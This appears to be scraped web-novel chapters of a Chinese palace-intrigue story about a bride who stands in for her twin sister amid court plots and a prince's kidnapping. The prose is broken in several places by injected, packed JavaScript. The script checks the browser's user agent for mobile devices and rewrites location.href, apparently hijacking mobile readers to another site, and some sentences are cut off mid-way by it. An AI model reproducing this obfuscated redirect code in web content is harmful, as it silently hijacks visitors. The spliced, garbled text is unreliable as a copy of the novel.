绿琦没敢真的滚,还跪在宫道边,悄悄抬头,望着亲密搂在一起的人,瞪大眼睛看着传说中的疯子亲吻新婚妻子的耳朵。 不是从来不让女人近身吗? 她不敢想像,要是太子得知自己的心上人被疯子当众狎昵会如何怒火冲天,可是,她能管得了自己,能管得了别人吗? 这么多人看着哪! 元晗烁确实是故意恶心太子,给太子添堵,不过,搂在怀里的手感渐渐变化,那腰肢说不出的轻软纤细,贴过来的时候,低垂的睫毛轻轻刷过他的脸颊,一股从来没有过的滋味涌上心头。 重生似乎也并不是一成不变,怀里的人不就是活的吗? 元晗烁突然哈哈大笑起来,抬手捏了捏温袅的脸颊,朗声道:“你不是说后院的杂草该收拾了吗?我看她挺合适的。” 他微躬着背,一手扶着温袅的肩膀,一手虚点绿琦。 皇后想在他身边安插人手,他正好可以用这个人手气气东宫那位游手好闲的太子殿下。 本来还松了口气的温袅这会儿心脏直往上蹦,真怕他心情不爽直接把剩下的人都收拾了。 她转头望向他:“听殿下的。” 元晗烁揉了揉她的发顶。他现在发现,温袅真的很有趣,而且还很狡猾。 绿琦的心情也是起起伏伏,本以为留不下来,没办法给皇后交代,结果柳暗花明又一村。 “其他人嘛,退回去怕皇后娘娘怪罪,”元晗烁笑得很开心,“掖庭是个好去处,正好最近空出不少房间。” 所有人都猛地抬头。之前传闻三殿下肆意妄为,没想到他连那么好的皇后娘娘的面子都不给,直接就把她的人丢进掖庭。 大家开始后悔刚才没快点滚,招惹到这个疯子。 但是现在,没有人敢反驳,行了礼,自己乖乖去掖庭,唯恐慢一步就把命丢在这里。 温袅扮演着温凤,高傲道:“殿下把他们送回去就是了,怎么还罚他们,怎么说都是皇后娘娘的好意。” 绿琦双眼含泪地点头,到底是一起侍候皇后的,三殿下这么对他们,自己在清和宫随时都要提心吊胆保命,这滋味落差,对皇后都有了一丝怨念。 但是她还是忠于皇后的,努力把眼泪憋回去。 “这么说来,皇子妃想留下他们?”元晗烁低头与温袅对视。 他的视线是直白而强悍的,容不得拒绝。要么选择与他共进退,要么选择讨好皇后,他并不想给她太多时间考虑。 温袅被他眼底的狠戾吓了一跳,这才发现,他是在试探她的态度。 也是,整个京城都知道太子对承平侯独女情有独衷,如今两人奉旨成婚,他自然也怀疑她。若是易地而处,她一样会怀疑对方,也会不断试探。 刚才还说听他的,现在又要表现出想把人留下,他生气也是理所当然的。 “我只是担心殿下处罚过严引起大家不满。”怪不得名声这么差,动不动就杀人,把人罚去做苦力。 温袅主动挨过去,抱着他的胳膊,温言好语劝道:“殿下,他们也没做错什么,让他们回皇后娘娘身边侍候吧。” 赏罚分明,恩威并施,这样大家才会服气。 看她小心翼翼讨好,元晗烁当然知道她想做什么,不就是怕他名声不好吗,名声这东西,弱者才需要,强者从来不在意。 “随你。”元晗烁放开她,就当着她的面跃上高墙,扬长而去。 有门不走,偏要上墙,温袅内心吐糟不已。 不过那道干脆利落的红衣身影还是给她留下深刻的印象。 * 虽然这桩婚事在安京人人瞩目,但是婚礼办得简单,坊间也没啥可写,说书先生们自己发挥想像力写了书,被各高门世家派来的家仆听了回去,隔天早朝时就有官员上折请立太子妃。 太子去年及冠,纳过两个侧妃,但是正妃迟迟未立,之前观望着,以为太子妃最有力的人选是温家嫡女,现在温氏嫡女已经嫁给三皇子,有女儿适婚的官员心思浮动。 皇帝半阖双眼,单手支在额侧,脸色阴晴不定。 “张大人如今倒操心起朕的家事来了。” 声音不疾不缓,吓得礼部张侍郎立刻扑通跪地告罪。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12867550|132497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !那日罢朝,书生宫门静坐,所上折子尽数他的劣迹,现在人出了事,不是他是谁?”皇帝怒拍桌子。 温袅离他的位置近,被吓了一大跳,忍不住望向元晗烁,发现他也朝她看过来,顿时安心。 原来什么事情都瞒不过皇帝,那是不是他们在清和宫种地的事情皇帝也知道了? 温袅捏了捏指尖。怪不得圣上也宣了父亲进宫。 太子喊冤叫屈,形容略显狼狈,温袅悄悄暗中打量他,姐姐朝思暮思的心上人原来长这样。 她只有在佛诞日那天远远看见过太子一面,没有离得这么近,现在一看,果着是俊美不凡,与三殿下是完全不同的类型。 太子眉目清隽,气质温和,倒是与沈家公子类似,都是文雅长相,不像三殿下,让人一看就觉得不好惹。 若是三殿下被冤枉,大概不会这么狼狈吧?想起刚才他面对皇帝的怒火淡定从容的样子,温袅的心跳得飞快。 她的视线被元晗烁捕捉,他眼底有一丝迷惑探究,太子要对付沈重烨为什么要留下这么明显的证据? 沈重烨知道什么使得太子大费周章冒着风险也要除去他,甚至不惜利用自己的心上人约人出来。 突然,元晗烁想到上辈子的一件事。太子逼宫不久后,沈家莫名获罪,长公主为救沈家不得不拱手让出自己的封地,新登基的元瑞河这才放过贞和长公主,但是沈重烨被他赐死。 长公主的封地里有什么? 起初他还以为是太子假借罪名除去情敌,现在看来,那块地上的东西才是他逼宫成功的关键。 这一世,因为他的重生,打乱了对方的布署,所有事情提前了。 一个时辰后,承平候匆匆进宫,温袅第一次见到总是胸有成竹的父亲这么慌张,慌到额角全是汗。 他卑微地跪在皇帝面前听训,半句话都不敢说。 温袅心情复杂,一方面有点爽快,一方面又为亲爹被训而痛快的自己感到不安,她是个坏姑娘吗?若是以前,她一定会替爹爹说话,但是这次,她却没这样的想法。 她望向元晗烁,他对亲爹也不恭敬,是被他影响了吗? 36. 第 36 章 午后的宫城向来冷清,这日却突然被来往匆匆的内侍们打破寂静,引路的内侍躬着身将朝中说得上话的人往宫城各处宫殿里领,引得内侍宫女们交头接耳,议论纷纷。 “这是出什么事了?” “你还不知道吧,听说是清和宫那位写信约沈公子这才让歹人掳走了人。” “她?这又是什么时候的事情,不是与东宫非比寻常吗?” “嗨,窈窕淑女君子好求嘛!温家小姐那样一个大美人,你能不心动。” “嘘,小点声,没看见承平候刚过去?” “这事要是真,承平候也得受牵连,倒不如早些送入东宫省得出这等祸害家族的大事。” “你说得倒好,就算是侧妃那也是妾!” “……” 含翠宫里,周贵妃今日胃口欠佳,刚用完午膳,躺在贵妃榻上闭眼假寐,两位贴身宫女站在她身后替她揉捏额角和肩颈,殿门外突然传来宫女的通传声。 “娘娘,静昭仪求见。” “她?”周贵妃微微睁开眼。 静昭仪原是许皇后的贴身侍婢,有一次皇帝到皇后宫中用膳,因她一手好厨艺而获宠幸,后来更是受宠好一阵子,膝下育有两子。年初四皇子刚刚获封安王,是太子最得力的兄弟。 “不见。”这时候来找,无非就是叫她出面保太子。周贵妃心里清楚,后宫里看似一团和乐,姐姐妹妹叫得亲切,背地里不知道使了多少阴招。 通传宫女颤着声音又道:“静昭仪送来一份礼物,她说您看到就会见她。” “拿来看看。”周贵妃睁开眼睛,明艳的脸瞬间有了光彩,丹凤眼明亮如星,使得殿中价值连城的摆设都失了颜色。 两位宫女也停下动作,缓步走到殿门边将门打开,通传的宫女双手捧着托盘,其上一块青绿龙形玉佩很是惹眼。 看到玉佩,两个宫女心中一惊,低呼出声。 这是二殿下日日佩戴在身的玉佩,由娘娘亲手所刻,是殿下十八岁的生辰礼,自那之后即便是沐浴睡觉都不离身的随身物件。 现在被静昭仪送来,二殿下必然在他们手里。 周贵妃倏地站起:“希儿在何处?” “回娘娘,昨日端王府来人传消息说殿下出城打猎,需在山庄暂住一宿。” “不是叫你们看好他别让出城吗?本宫怎么不知道他又去打猎?”周贵妃冷冷扫向眼跪了一地的宫女内侍,“含翠宫是不是阻了你们攀高枝的路?” 她向来蹈光养晦,凡事避开许皇后耳目,实在没想到还是被钻了空子。 “娘娘,大事不好了,端王殿下不见了。”一个跌跌撞撞的内侍狼狈闯进殿内,浑身泥渍,鼻青脸肿。 正是端王的贴身随侍安来。静昭仪含笑站在阶前,手中团扇轻晃,长相普通的脸只有那一双漂亮的桃花眼出彩。她淡笑着看向殿内,耳边传来打砸的声音,扭头对心腹宫女低笑道:“咱们周贵妃什么都好,就是软肋太明显。” 宫里人谁不知道她把二皇子当成命根子,比之皇后对太子更是有过之无不及,若不是周家掌着兵权,她怎能在宫里安然无恙把儿子养大。 皇帝虽然子女多,但是能威胁到太子地位的人也就两个,元晗烁自身难保,元希麟的端王府里除了银子多,暗桩也多。 “请静昭仪进来。”周贵妃发泄一通后,收敛情绪。 静昭仪不请自入,笑吟吟道:“姐姐,明日就端午了,我给姐姐送礼来了。” 周贵妃冷哼一声:“妹妹的礼物贵重,倒是不知道妹妹使了什么手段得到。” 宫女们静悄悄上了茶又退出殿外,只留两位主子在殿中。 “姐姐,你误会妹妹了,我也是碰巧在端王殿下遇到难处时顺手帮一把罢了。” “别废话,皇后想做什么?”周贵妃救子心切,懒得与她弯弯绕。 “瞧姐姐说的,我们都是圣上的女人,这姐姐妹妹之间当然要亲如一家人,皇后娘娘若是要姐姐做什么,怎会如此对待姐姐。”她越急,静昭仪越开心,慢悠悠地扇起团扇,“姐姐这不是明知故问吗?” “我怎么知道你们不会伤害我儿?”周贵妃冷眼盯着她,“若是我儿少半根汗毛,你们别想好过!” 她只希望儿子平安无事。 “这是自然,只不过,皇后娘娘说了,太子殿下安好,端王殿下就安好。姐姐,养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883348|132497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大一个孩子多耗心思,我比姐姐小两岁瞧着倒像是大了五六岁。” 静昭仪眼角已带上明显细纹,不如周贵妃明艳动人,仿佛二八少女,但是她最自豪的就是两个儿子。 被人阴阳怪气,周贵妃气得咬牙切齿,偏偏不能对她如何,宝贝儿子还在人家手上。 寿康宫。 主殿外的回廊上立着五六个身穿朝服的大臣,他们面面相觑,听着承平候被皇帝训得话都不敢说。闻讯赶来的许慎瞥了眼韩连,又低下头去。 殿内,温袅已经回到元晗烁身边,挨着他坐着,面无表情看亲爹被皇帝训斥。 元晗烁垂眸看了她几眼,原本担心她会坐立不安,会伤心难过,现在看到她淡定自若,倒有些刮目相看。 他朝后靠着椅背,头微微往她那边靠,唇角含笑,“岳父这次撞在皇帝气头上,你就不怕温家跟着完蛋?” 语气轻而亲昵,眉眼带笑,落在别人眼里就是夫妻恩爱无间,太子无意瞥见,脸上怒气一闪而过,眼底探究的神色遮不住,引得正在发泄怒火的皇帝更加火大。 盛安帝并不是一开始就对太子不满,太子是他的第一个孩子,是他亲手抱在怀里喂过吃食的孩子,总有与别的孩子不一样的感情,但是太子好美色又痴情,这一点与他完全不相像,他就从来不会被美色耽误。 承平候一头雾水被训,听着皇帝严厉的声音,视线不敢往旁边扫,没看到温袅,但是元晗烁气场太强,他几次往他的方向看,可惜女婿似乎并不打算替他解围。 被训足足一个时辰,期间皇帝还差点气得阙过去,两名御医就在边上候着,一看到不对赶紧上前替皇帝把脉施救。 气死皇帝的罪名一担落到头上,温家就完蛋了,太后这才开口:“行了,一张无凭无据的信都值得如此大动肝火?哀家也乏了,你们审案自去刑部大堂,要不大理寺堂上审,哀家这寿康宫可不是审案的地方,既然三殿下说这信是写给他的,总归要看看是谁胆大包天进出宫禁偷走皇家信件,这事得彻查,既然事出宫城,皇后和淑妃都得避嫌,那就交给周贵妃去办。” 话音刚落,殿外就通传。 “贵妃娘娘求见太后。” 37. 第 37 章 《给双胞胎姐姐替嫁后》全本免费阅读 安京西边三十里就是险峻群山,玉涌河绕山而过,两岸各有个小镇,分别名为金龙银龙。因为处在通往西边的要道上,聚集着南来北往的商队,故而十分繁华,小镇所属田庄原是皇家所有,前阵子皇帝刚将其赐给三皇子。 虽然三皇子名声不怎么样,但是他从来不在人前出现,对于地处京城外的两镇居民而言,不管主人是他还是皇帝都不会影响他们安稳快乐的过日子。 最近这些时日,经过此地的商队以及当地镇民都在看热闹,只因有龙舟戏从山下玉涌河里冲过,除了金龙银龙两镇派人参加,还有来自大盛各地的龙舟队也有参加,往年皇帝身体好的时候,还会微服私访,参加龙舟赛,宫里的娘娘公主们也会出宫观看。玉涌河两岸从几日前就热闹起来,镇上空气都带着粽香,随处可见龙舟队的训练,船工们大着嗓门欢呼。 今年虽然皇室没派队伍前来,但是世家豪族都派出了自家龙舟队,试图转移老百姓的视线,将人吸引到这一盛事上来。 元希麟从昏迷中醒来,虽然头上套着黑布袋,眼睛也蒙着眼罩,头脑昏昏沉沉的却能听到船浆拍打的声音以及船工们粗嘎的呐喊从远处传来,只是不知道所在之处是东岸还是西岸。 他也是倒霉,好不容易甩开母妃的暗卫,正想痛痛快快打猎,再观看龙舟赛,端午宴开之前赶回京,结果半路上就被人套了麻袋。 那些人训练有素,从不开口说话,全程蒙着他的脸,除了黑布头套,眼睛上还绑着一条黑色眼罩,即便吃饭睡觉,头罩摘下来,眼罩也不会摘。 整整一天一夜,弄得他眼睛干痒不已。 “各位大哥,你们是要钱还是要物,但凡我能拿得出来的,通通给你们。”他双手被绑,又被拳打脚踢一顿,浑身没有一处不疼,这会儿只能说话转移注意力。 不过他看不见,有人伸脚想踢他,被人拉住,为首的摇了摇头。 有人在他鼻尖晃了一股迷烟,他又昏睡过去。 “头儿,时辰快到了,万一真的没消息来怎么办?”蒙面少年不耐烦地扯下头上蒙巾,露出一双深邃的绿眼。 另一个人胳膊受了伤用白布吊在胸前,脸色苍白如大病初愈。还有一个壮汉手握大刀,伸手掀开窗帘一角,看向河岸边卖力训练的船工。 阴暗的房间里,光线暗淡的角落有几具身着黑色软甲的尸体。 壮汉放下窗帘,在黑暗里扫了一眼四周,沉声轻哼,“主子早有安排,消息不到,就是大盛皇室兄弟手足相残。” “可是,那追着我们不放的家伙怎么办?”绿眼少年烦躁地抓了抓头上的细小发辫。 七日前就有人阴魂不散追着他们,对方十分厉害,打不过就隐入黑暗,要不是他们有法子破了他们的隐身之法,这次差点就全军覆没了。但是,对方也付出了惨重的代价,几乎全员阵亡,只有其中最厉害的那个依旧穷追不舍。受了那么重的伤还能死死咬着不放,他都佩服那人的毅力。 他们在金龙镇东躲西藏无法过河,正想趁着龙舟戏渡河西去。 * 京城,皇宫里,皇帝在寿康宫再次气怒晕厥,御医们将他抬回仁政殿,兵慌马乱地救治着。元晗烁与元瑞河候在殿外石阶上,其余朝臣识趣地站在阶下,并不去打扰两位皇子。 “三弟的手段还真是高明。”太子冷笑,“就是不知道承平候对你这个乘龙快婿满不满意。” 元晗烁只当听不到他说话,动作都未变,抬头望向远处。那里刚刚走过去几个人,正是周贵妃带着自己的宫人在东苑各宫清查内鬼。 他想起刚才在寿康宫,周贵妃突然主动揽下清查宫禁的任务,若是以往,她避之唯恐不及。 见他对自己视而不见,听而不闻,太子怒极而笑,凑过去用只有两人能听见的声音道:“你真以为承平候是一个只忠于父皇的闲散候爷?” 他淡淡转头看向太子。太子因为差点被废,此时哪还管什么仁厚太子形像,直接大笑出声,“你娶的不过是个弃子,你不知道吧?” 笑声有点癫狂,引得远处的大臣们纷纷侧目。 刚才要不是皇帝突然晕倒,只怕废太子的召令就下来了。几番凶险,太子急需一个宣泄口,逮到谁都想把对方弄死。 许慎想过去拉住太子,韩连上前拦住他,“许相,如今圣上龙体欠安,但是旨意是明明白白的,我等还是照着圣上的意思办。” “韩相,如今主审官还未定,只凭一封书信难以说明此事与太子有关,刚才承平候也没有落罪,圣上的意思早已明了。” 两位死对头互相冷嘲热讽,承平候心有余悸地站着,此刻太阳西斜,傍晚的风刮过才发现自己后背湿透了。此刻听到太子的笑声,顿时如惊弓之 38. 第 38 章 皇帝还没醒来,皇后也病着,宫里气氛变得沉重,夜里的宫灯都清冷许多。 温袅站在廊下,仰头望天上的星星,广阔天幕繁星点点,比她在家中看到的多,也美很多。 空气里弥漫着花香,庭院里开着五颜六色的花,比她刚来的时候漂亮很多。 她轻轻叹了口气。若是三殿下在多好,可是这人名义上被禁足,实际上他待在宫里的时间并不长,不是皇帝让他办事就是太后让他办事,偏偏事情办好也是理所当然的,办不好总会有各种理由将他禁足于清和宫。 也不知道他现在在哪里?会不会遇到棘手的事,会不会又一身伤回来? “皇子妃,夜里风凉,小心别着凉了。”翡翠抱着一摞账本回来,放下之后立马拿起披风替她围上,“皇子妃有心事吗?” 皇子妃很好,她也希望她能开心快乐,“是在担心殿下?” “没有,我在想明天的端午宴会不会取消。”温袅收回视线,双手紧了紧披风,转头看到殿里的圆桌上摆着一摞账本,“那是从哪里拿出来的?” “刚才赵侧妃派人送来的,说是宫里上半年的开销。”翡翠笑眯眯地望她,“殿下与皇子妃大婚是皇后与赵侧妃操持着,前阵子太后就说了往后清和宫归皇子妃管,磨蹭到这会儿才送来。” 是有这么回事,只是隔了快两个月才送来未免有些故意怠慢。 “皇子妃,贵妃娘娘来了。”小宫女急匆匆前来通禀。 温袅愣了一下,实在是没想到周贵妃这么晚了还在清查各宫,往日里听传闻她低调归低调,办事却是雷厉风行,就连皇后也得避其锋芒。 “翡翠,替我梳妆。”温袅赶紧转身回屋。 因为准备就寝,她通了发,穿着舒服的里衣,这样去见周贵怕是不妥当。 “好,奴婢替您梳个漂亮的发髻。” 翡翠将她的柔顺长发挽起。皇子妃太漂亮了,梳什么妆都好看,就是风格差太多,比如出门总会梳最精致的妆,用最华丽的发钗,在宫里时又总是用最简单的珠簪,不施粉黛。 细心观察皇子妃,发现她见到各宫娘娘总是有些紧张谨慎,也只有在太后面前自在些。 翡翠一边替她梳发一边胡思乱想。 “这只钗怎么样。”梳完发髻,翡翠挑选首饰。 温袅想起傍晚时元晗烁看她的温柔眼神,突然就不想扮成姐姐的模样。 “就这支珠簪吧。”她伸手选了自己平日里喜欢,从不戴出门的海棠粉玉簪。 翡翠愣了一下,这簪可与发髻不相衬,不过也没说什么。 皇子妃本来就好看,无需首饰点缀,她接过珠簪插于鬓发间,左看右看赞道:“皇子妃是我见过的最好看的人!”像仙女似的,待人也好,殿下自从娶了皇子妃,笑容都多了呢,又有几分像小时候那样了。 以前的殿下还会跟她们这些小宫女玩,在她们被大宫女欺负的时候帮忙报复回去。 翡翠刚进宫的时候才四岁,年纪小,总被欺负,殿下像个神仙哥哥一样,总是替她们解围。 那时候她最大的愿望就是当他的贴身宫女,可是殿下说他身边才是最危险,把她们几个都安排到离他很远的地方,一年都没见几次。 虽然殿下忘了她们,但是大家没有忘了殿下。 她来服侍皇子妃,那些小姐妹们可羡慕她了! “别夸了。”温袅被她夸得情绪没那么低落,提起精神去见周贵妃。 花厅里,晴翠小心翼翼地给周贵妃倒茶,心里忐忑不安,既盼温袅快点来,又担心她露出马脚。 周贵妃可不像温淑妃那样好糊弄。 “娘娘,皇子妃马上就来,您需要用些点心吗,皇子妃亲手包的甜粽奴婢端来让您尝尝?” “不必了。”周贵妃视线扫过庭院那一道沿着回廊的沟渠,欣赏盛开的荷花,还有那些栽种一半的青绿苗圃。 这温氏千金的喜好倒是特别。 只是手底的人就不太能上台面。 晴翠惴惴不安,察觉到她的冷淡,担心温袅应付不了这样的周贵妃,刚要起身去阻拦她前来,殿外就传来脚步声。 “见过贵妃娘娘。”温袅缓步进殿,身姿娉婷,举止端庄,福礼行得既漂亮又得体。 周贵妃暗中打量她。 其实她们见过面,温凤身为京城第一美人,哪家儿郎不倾慕,就连她儿子都曾经跑到她面前央求她去跟皇帝求赐婚。 不过,太子对温凤的心思满城皆知,她不可能同意这门婚事,闹出兄弟共抢一女的丑事,私下里见过温凤一面,如今她倒是表现得像是两人从未见过面一样。 气质也判若两人。也是,与太子闹得沸沸扬扬,现在太子自身难保,倒是她还痴心一片,害得她的希儿跟着遭殃。 周贵妃心中厌恶,自然不会给温袅好脸色,“深夜前来,倒不想打扰皇子妃安歇,只是事出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912491|132497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清和宫,总要查清楚才好与圣上和太后交代。” “贵妃娘娘辛苦了。清和宫上下自然是任娘娘查看,只是殿下的书房我从未去过,还请娘娘查的时候不要弄乱殿下的书。” “本宫也不是不许道理的人,今日来只是问话,并非搜查,皇子妃与三殿下如此和睦,本宫怎么不知,将你们宫中侍候的人都叫来问话就是。” 听她这么说,温袅算明白她为什么这么晚还在皇城各处走动。就清和宫这样如冷宫一般的存在,侍候的人也有二十几个,一个一个问话通宵不眠都是正常的。 温袅给翡翠使了个眼色。 无论是大宫女还是粗使嬷嬷,就连元晗烁的长随平安也都很快到了花厅,本来宽敞的花厅一下挤进这么多人,也显得逼厌了。 周贵妃一个一个审问过去,事发当天的行踪,事无巨细,她身边的宫女抱着一大摞纸张,在她身后奋笔疾书。 这架势倒真是来认真审案的。 不过,那封信不是她写的,自然问不出什么来,这些宫女内侍有些是太后宫里的,有些是皇后派来的,怀疑他们就是对这两位不敬,所以周贵妃将晴翠反复审问,即使晴翠以前在温夫人身边见过各种大场面,在气势凌人的周贵妃面前,也吓得差点说漏嘴。 “对了,你不是带了两个丫头进宫吗?还有一个呢?”周贵妃审了这么多人倒是越来越精神,端着茶杯用盖子慢悠悠撇去茶沫。 看来大家都注意到昭禾,晴翠更是担忧,朝温袅拼命摇头。 “昭禾病了,担心过了病气,挪出宫外养病。”温袅声音软糯,应对得体。 周贵妃的大宫女附在其耳边低声说了句什么,她挑了挑眉,“今夜就查到此吧,皇子妃的陪嫁丫鬟刚才被人发现晕倒在清和宫外,本宫这就将她带回去好好治治。治好再审。” “娘娘……”晴翠急了。昭禾不是在太子手里吗?怎么突然出现在这里?皇后娘娘是什么意思?想把过错都推给温家吗? 她膝行过去,抱住温袅的腿,“皇子妃,昭禾一定是病得重了想来见你最后一面,你说句话呀!” 昭禾不能落入周贵妃手里,这事皇后知道吗? 晴翠悄悄扫了人群一眼,果然绿琦不见了。 “皇后娘娘驾到!” 夜深人静,清和宫却热闹起来。温袅轻轻叹了口气,今夜睡不了觉了。 这些人就是趁殿下不在的时候找她麻烦吧? 39. 第 39 章 已经三更天,夜里露水重,地面湿漉漉的,清和宫外的青石宫道甚至积了水洼,像下过雨一样。 天阴沉沉的,不时还传来一声响雷,无端让人觉得不祥。 许皇后面容苍白,被人扶下肩撵,身后跟着一队提着宫灯的内侍,每一位都身高体壮,气势如虹。 众人纷纷上前行礼。 周贵妃品阶不如她,但是气势比她强,礼毕低笑道:“姐姐不好好歇着,深夜赶来,圣上醒来怕是要怪我办事不力。” 温袅垂眸站着,翡翠之前说过皇后与周贵妃以前情如姐妹,皇帝未登基前只有一正妃两侧妃,正妃就是三殿下生母。 皇帝为了争夺帝位,倚仗当时军权鼎胜的白家,但是真正喜欢的人是许周两位侧妃,当时两人同时有孕,结果是许侧妃先产下庶长子,周侧妃才发现自己被好姐妹阴了。 此后一个月,周侧妃也顺利生下儿子,并且父兄在站场上斩露头角,之后军功卓著,与白家一起力挽狂阑,在内有蕃王与皇子叛乱,外有强敌环伺的情况下助皇帝登基。 周侧妃变成了周贵妃,权力越来越大,而许侧妃只是一个没实权的贤妃,但是许家也不是软柿子,自己扶上位的人竟然被一个刚刚发迹的军户之家挤兑,立马发挥百年望族的实力与周家斗。 本以为能将周家打压下去,但是皇帝暗中扶持周家,平衡权术的手段出乎所有人的意料。 皇帝刚登基,雄心壮志削蕃,想把所有蕃王实权都收回来,日夜筹谋,许贤妃帮了大忙,两人日日待在御书。 周贵妃无计可施,就想与白皇后联手,不过,白皇后性子温和,与世无争又刚有身孕,并未答应。 温袅看着两人对峙,火花四溅,连平日里的虚假伪装都抛开了。 “母后,夜里风凉,进屋喝杯热茶。”她上前搀扶许皇后,“若您有个闪失,父皇醒来定会伤心难过,不利于静养。” 据她观察,许皇后最在意的两个人就是太子和圣上,在这种情况下,搬出皇帝能让她冷静下来。 果然,许皇后冷哼一声转开头,“你宫里的人不是本宫挑的就是太后跟前用惯了的,有人要借这事让你疏远我们,我不来,你的人都保不住。这宫城之中,自己用顺手的无论是人还是物件,总要自己亲自看着才放心。” 她身后的太子侧妃赵青荷羞愧难当。 周贵妃想到自己儿子在对方手里,宽大袍袖里的手紧握,护甲戳进皮肤,火辣辣的疼。 无论她把儿子管得多严,还是会被姓许的钻到空子。 这些年来,每次都被同一招束缚到无法动弹,就算她想用同样的手段对付太子,却总是被对方逃脱,然后倒打一耙。 阴谋诡计始终玩不过她! “你说是不是,贵妃娘娘?”许皇后温柔一笑,人前的她向来是识大体,得人心的,倒是周贵妃行事果断,罚人甚严,宫人在她面前总是提心吊胆,只求保命,谈不上忠心。 许皇后身边却围绕着忠心耿耿的仆从。 说完,也不等周贵妃回应,皇后身边的嬷嬷架着昏迷的昭禾快步拖走。 “母后,您不是说自己用惯的人要自己看着吗?昭禾还是留在这里,我亲自审她,自然就知道她为何不好好养病,到处乱跑。” 温袅装傻充愣,周贵妃眼睛一亮,唇角微微扬起。 “她一直在养病,怕是没办法私下里传递消息。”温袅知道,今晚上怕是有人想利用昭禾针对她。 刚才看赵青荷的神色,太子应该是自做主张,要不然皇后就不会深夜赶过来收拾烂摊子。 反正对外都称昭禾是在养病。 “贵妃娘娘觉得怎么样?”她看向周贵妃。 周贵妃权衡利弊,点了点头,“皇子妃说的是,本宫查的是信件私藏之事,当时她未在清和宫,与这事无关,皇后娘娘如此关心皇子妃,情同母女一般,实在让本宫羡慕。” 说完带着自己的人扬长而去,走得干脆利落。 被她阴阳怪气一番,皇后面上淡然,心里却动了杀机。 只是一阵冷风吹过,颈侧冰凉,像毒蛇吐信一般。 清和宫是那个疯小子的地盘。 “既然你要自己审,那我也不多说,今日承平侯惹了圣怒,你也要小心些才是。别再惹圣上不高兴,”皇后并未迈进清和宫,“夜深了,你早些歇了吧,明日早起准备宴席。” “是。恭送母后。” 温袅看着她走远,赶紧转身回去查看昭禾的情况。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924513|132497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>快两个月未见,昭禾瘦了很多,全身布满伤痕,脸上也有两道吓人的伤疤,奄奄一息,离死不远。 “怎么回事?”要是这样还发现不了事情的诡异之处,她跟瞎了有什么区别? 晴翠望了望忙前忙后的翡翠,还有边上站着的绿琦。 “留晴翠照顾,你们都下去吧。” “是。”翡翠放下手中的铜盆,走得很干脆。 绿琦犹豫一下,也退出房外,但是没走远,耳朵贴在门上听着,正听得起劲,后脑勺一痛,晕倒过去。 昭禾伤势太重,命悬一线,怪不得皇后肯放心留她在这里,听晴翠来龙去脉的讲出进宫以后的事,她惊得目瞪口呆,“这么大的事你瞒着我就罢了,还瞒着父亲母亲,从明天起,不许踏出这道门半步。” “可是,二姑娘没有我们,你怎么能顺利扮成大姑娘?露馅可是要杀头的!”晴翠不把她放在眼里。没有她们,一旦露馅就是死路一条。 “这个不用你管。”温袅凑近她,盯着她的眼睛,“你在打什么主意我知道,别以为能拿这个要挟我,昭禾是人证,你可什么都不是。” 晴翠被她深不见底的眼睛吓到,后退一步,跌坐在地,“你想怎样?” 这还是那个乖巧胆小的二姑娘吗? 温袅回忆起元晗烁杀人之后的神态,笑得又甜又软,指尖轻轻点过晴翠的眼睛,声音也变得轻柔起来,“眼睛挖掉,舌头割掉,关到房里,再放些鼠蚁,你觉得怎么样?殿下说还没试过尖嘴鼠,像狸猫那么大的鼠,咬到人就不松嘴……” “你……”她还没说完,晴翠就眼睛一翻,晕了过去。 温袅呼出一口气,果然威胁人得挑对方害怕的。她似乎看到那个一身狼籍却笑得肆意张扬的人对她说话。 “小凤凰,如果有人威胁你,最好的办法就是把对方最害怕最在乎的东西说得清楚些,胆子要大,戳对方心窝子,惜命的把死法说清楚,惜物的就把那物毁坏怠尽。” “我怎么知道他们最在意什么呢?”记得她这么问他。 “大多数人在意生死。你如果有比生死还重要的事就掩藏在生死之后。” 今夜,她有些明白他的话了。 可是,他在意的是什么呢? 40. 第 40 章 